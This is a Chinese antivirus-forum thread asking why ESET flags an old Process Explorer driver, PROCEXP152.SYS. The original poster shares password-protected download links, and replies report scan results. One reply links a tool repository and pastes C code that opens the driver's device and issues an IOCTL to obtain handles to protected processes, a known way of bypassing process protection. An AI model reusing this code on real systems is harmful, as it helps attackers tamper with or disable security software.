PROCEXP152.SYS

xzykgc4mc3

1. https://we.tl/t-VJt4mo8JMQ
   
2. https://ttm.sh/WbZ.zip
   
3. https://megaupload.nz/L37707hbz6/PROCEXP152_zip
   

复制代码

任选一个链接
密码123
应该是ProcessExplorer16.43释放出的来的驱动。
但今天eset突然提示潜在不安全。是因为版本太低了，驱动容易被利用吗。

https://www.virustotal.com/gui/f ... 1ecfc863bc3490e4f5c
这里的eset倒是没有报
查信誉，也是良好。

请大佬们看看。

kuroandsan

KSN 受信任

Eset小粉絲

最新版报么？

hhhq316

Norton文件分析受信任

wowocock

https://github.com/OmriBaso/RToolZ

wowocock

#include "ppl_bypass_driver.h"

typedef struct procexp_close_handle {
        ULONGLONG pPid = 0x0;
        PVOID ObjectType;
        ULONGLONG nothing2 = 0x0;
        ULONGLONG handle;
} Procexp_close, * pProcexp_close;


/*Creates the handle to the driver object*/
HANDLE hProcExpDevice;


EXTERN_C HANDLE open_driver()
{
        hProcExpDevice = CreateFileA("\\\\.\\PROCEXP152", GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hProcExpDevice == INVALID_HANDLE_VALUE)
        {
                printf("Unable to open driver handle, Error code:%d\n", GetLastError());
                return 0;
        }
        else {
                printf("HANDLE %p\n", hProcExpDevice);
        }
        return hProcExpDevice;
}

/*Opens handle to a protected process*/
EXTERN_C HANDLE open_handle(ULONGLONG processPid, HANDLE hProcExpDevice)
{
        HANDLE hProtectedProcess = NULL;
        DWORD dwBytesReturned = 0;
        BOOL ret = FALSE;
        char* endptr = 0;

        ret = DeviceIoControl(hProcExpDevice, IOCTL_OPEN_PROTECTED_PROCESS_HANDLE, (LPVOID)&processPid, sizeof(processPid),
                &hProtectedProcess,
                sizeof(HANDLE),
                &dwBytesReturned,
                NULL);


        if (dwBytesReturned == 0 || !ret)
        {
                printf("Protected process opening error: %d\n", GetLastError());
                return 0;
        }

        return hProtectedProcess;
}

莒县小哥

仰望星空--风影

火绒右键正常

tdsskiller

微软的processexp系列全是漏洞，被拉黑了很正常

xzykgc4mc3

Eset小粉絲 发表于 2023-3-28 14:30
最新版报么？

最新版ProcessExplorer17.02释放出的驱动PROCEXP152.SYS，eset倒是没报潜在不安全。